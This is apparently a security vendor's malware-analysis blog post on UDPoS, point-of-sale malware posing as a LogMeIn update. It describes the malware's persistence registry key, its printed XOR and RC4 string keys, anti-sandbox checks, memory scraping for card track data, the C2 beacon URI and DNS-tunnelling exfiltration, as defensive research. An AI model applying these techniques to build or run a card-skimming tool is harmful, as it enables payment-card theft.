Threat Spotlight: Inside UDPoS Malware

UDPoS is a recently discovered family of Point-of-Sale (PoS) malware, designed to harvest and exfiltrate credit card information from PoS systems using DNS tunneling.

This new family utilizes several deception tricks in that it attempts to disguise itself as a LogMeIn service pack update, as well as making network connections to a URL that masquerades as a legitimate LogMeIn domain.

The following is a technical overview of this new malware family.

Technical Analysis

Upon detonation, UDPoS drops several components before creating a persistence mechanism, scraping the victim memory for track 1 and 2 credit card data, comprehensively enumerating the host system info, packaging all the retrieved data together and encrypting with RC4, and then finally exfiltrating the data via DNS to an external command and control (C2) server.

While DNS-tunneling-based exfiltration in PoS malware is nothing new, it does highlight the fact that aside from running antivirus (AV) and EDR solutions, organizations should place a greater emphasis on examining DNS traffic for dubious or anomalous characteristics.

File Information:

The Dropper and Installer:

The initial dropper, named update.exe, is a 7-zip self-extracting archive that contains both the service (LogmeinServicePack_5.115.22.001.exe) and payload (logmeinumon.exe) components. Upon execution, the components are extracted to disk, and the service element is detonated via 7-zip’s RunProgram feature.

The dropper then terminates and self-deletes, while the service component continues and drops/executes a pseudo-randomly named batch file (AcCfEdGflJeLMNd.bat), whose purpose is to create a persistence mechanism to run the malware on system restart.

In case the process is running with admin privileges, malicious components will be copied to a LogMeInUpdService subdirectory under the %SYSTEM% directory, and a service named LogmeinUpgradeServices will be created; otherwise, components will be dropped under %APPDATA%\Roaming and the following value will be added to the registry:

• HKCU\Software\Microsoft\Windows\CurrentVersion\Run\LogMeInUpdService = %APPDATA%\Roaming\LogMeInUpdService\logmeinusvc.exe

Figure 1. AcCfEdGfIJeLMNd.bat

Once the service component has performed these tasks, it then lets the payload component take control.

The Payload:

Upon execution, the payload component will first decode all strings into memory. Some strings are encoded using XOR with the following key:

7e67236e4b2f59615644764f353038244b40542d713d652a542f7e666f69364c2

The remaining strings are encoded with the use of the RC4 algorithm, and the XOR key (above) is converted from hex to ASCII to derive the key:

~g#nK/YaVDvO508$K@T-q=e*T/~foi6L*W'[*AWJl]H@o.]ET@

Figure 2. Encoded RC4 key

After that, the malware will run a partially implemented and buggy routine that is meant to check for the following DLLs and named-pipes as both an anti-AV measure and to detect if it's being executed in a virtual environment:

Figure 3: Strings used for anti-debugging purposes

• Cmdvrt32.dll - Comodo AV
• SxIn.dll - Qihu 360 Total Security AV
• Snxhk.dll - Avast! AV
• sbiedll.dll - Sophos Sandboxie
• \\.\pipe\cuckoo  - Cuckoo Sandbox
• \\.\HGFS - VMware
• \\.\vmci - VMWare

However, there is a major bug in the code, as it doesn't properly iterate through an array of pointers, resulting in the same DLL name being passed to the GetModuleHandle API four times. Therefore, the malware will quit only if cmdvrt32.dll is detected, and fails to do so if any of the other three libraries are loaded. Also, code for checking whether the named pipes exist is not present, and may have been removed or simply not implemented.

Figure 4. Flawed anti-AV/VM checks

Next, the malware will generate a unique victim ID and save it to hdwid.dat file. If the file already exists, the malware will instead use the contents of the file as the victim ID. The ID generation algorithm is as follows:

1. Generate a pseudo random string consisting of 100 letters (upper and lowercase)
2. Compute SHA-1 checksum of this string (20 bytes)
3. Convert hex string to ASCII (40 bytes + trailing '0')
4. Write the last 15 bytes of this string to hdwid.dat file, padded with 37 zero bytes (some of which will later store execution related flags and variables).

Figure 5. Contents of hdwid.dat

Once the UID is created and saved, the malware will proceed to create 5 threads performing the main functionality, and wait for their completion:

• Thread 1 – Gather system information
• Thread 2 – Initialize C&C communication and obtain victim's external IP address
• Thread 3 – Systematically send ping messages to C2 server
• Thread 4 – Scrape memory of running processes and extract track 1 and track 2 credit card information
• Thread 5 – Send exfiltrated data to the C2 server via DNS tunneling
   

Figure 6. Thread creation

System Information Thread:

In a similar vein to the dropper, the payload drops a bat file (infobat.bat) that will utilize several common Windows command-line tools to enumerate resources and compile a comprehensive footprint of the victim host. These commands include:

• netview - Displays a list of domains, computers, or resources that are being shared by the specified computer.
• netview /domain - displays all the domains in the network.
• ipconfig /all - Displays the full TCP/IP configuration for all adapters.
• arp -a - displays a list of the ARP cache entries, including their MAC addresses.
• route PRINT - Prints a route or routes.
• systeminfo - Displays detailed configuration information about a computer and its operating system, including operating system configuration, security information, product ID, and hardware properties, such as RAM, disk space, and network cards.
• tasklist /v /fo "TABLE" - displays all running applications and services with their Process ID in verbose detail output to a table.

The full process tree is outlined below:

Figure 7. Process tree

All the collected data is initially saved to a file named PCi.jpg, before being encrypted with RC4 (with the same key as for the strings) and split into DNS messages following the format below:

<victim_id>.<msg_type>.<data_1>.<data_2>.<data_3>.<data_4>

The message type for system information messages is set to bin. Other possible types of messages include ping, info, trp and note (described later):

Figure 8. Encoded message

These messages are saved to the <victim_id>.dat file and pushed out via DNS requests by another thread. The initial PCi.jpg file is then deleted. Once launched, the batch file called infobat.bat provides a thorough enumeration of the victim host.

It achieves this by utilizing common Windows networking utilities to fingerprint the host and then copies the information first to several .csv files, then to PCi.jpg for exfiltration. It then proceeds to delete the .csv files as well as the infobat.bat batch file:

Figure 9. infobat.bat

HTTP GET Thread:

To initiate the communications and check-in with the C2 server, the malware will send a beacon via a HTTP GET request to the domain service-logmeln.network with the following URI:

/index.php?udpool=<victim_id>

Figure 10. C2 HTTP beacon

The server is supposed to respond with the external IP address of the infected machine (in the form of an ASCII string). After obtaining a valid response from the server, this thread will enter a sleep loop and periodically send the check-in request in order to track potential changes to the external IP.

Ping Thread:

This thread is responsible for creating periodical info and ping messages to be sent to the C2 via DNS requests. The info messages consist of the computer name, username, C2 URL and IP it resolves to, while ping messages contain the victim's external IP address and current timestamp:

These messages are stored in a memory queue pointed to by a global variable and are pushed out through DNS requests by another thread. All messages are also saved to the file <victim_id>.dat.

Infostealer Thread:

As stated before, the main functionality of UDPoS is to find and exfiltrate credit card data from an infected system's memory. To achieve that, the malware creates a list of all running processes (whose names are not present on an embedded whitelist list of system and browser processes) and, in a loop, reads the memory of each process searching for credit card data markers. The following process names are excluded from scanning:

Figure 11. Check for track 1 and 2 data in process memory

Before that, however, the malware will use a hardcoded track 2 string to test that the credit card number extraction routine is working:

;4000000000000002=19011010000012300000?

Figure 12. Check for hardcoded track 2 data

If potential track 1 or track 2 data is found, the following checks will be performed to ensure that only valid information is sent to the attackers:

• Luhn check on the extracted credit card number:

Figure 13. Luhn check

• Service code check on the 3 digits that come after expiration date:

Figure 14. Service code check

• Check if the credit card number differs from the hardcoded test data. If it matches, the malware will stop scanning the current process and proceed to the next one; this is to avoid scanning the memory of its own process that might contain harvested credit card data.

If all checks are successful, the track data will be encrypted and embedded in a trp message, ready to be sent to the C2 server via DNS requests by another thread:

Figure 15. Extract track data, verify, encrypt and create trp message

Alongside each trp message, the malware will send a note message containing external IP address of the victim and the name of the process in which the credit card data was found. Both trp and note messages are then appended to the <victim_id>.dat file:

Figure 16. Stored messages in the victim .dat file

The name of each process with track data will be also saved to sinf.dat file. Although the routine is designed to look for both track 1 and track 2 data, only track 1 data gets properly identified (due to possible bugs in implementation).

DNS Thread:

The sole responsibility of this thread is to exfiltrate messages created by other threads using the DNSQuery_A API:

Figure 17. DNS exfiltration and IP check

Figure 18. DNS exfiltration packet capture

The SHA-1 hash of each successfully sent message is then stored in udwupd.kdl to avoid sending duplicate messages.

Network Forensics:

The following tshark command can be used to filter UDPoS DNS requests from a packet capture:

After filtering, the individual DNS requests can be decoded using the following Python program:

Figure 19. Decoded C2 DNS traffic

Alternatively, the following CyberChef recipe can be used to decode RC4 encrypted strings:

Conclusion:

Despite PoS malware generating major headlines in the past - such as the now infamous Target breach of 2013 - retailers, hotels and similar industry stacks remain vulnerable due to continued reliance on legacy infrastructure, the slow adoption of EVM (aka “chip and pin”) technology and a lack of advanced detection capabilities such as next-gen AV, EDR and network monitoring.

If you are a Cylance customer using CylancePROTECT®, you were already protected from this attack by our machine learning models which were capable of detecting and blocking the UDPoS malware for nearly 2 years prior to its discovery – see how here.

Indicators of Compromise (IoCs)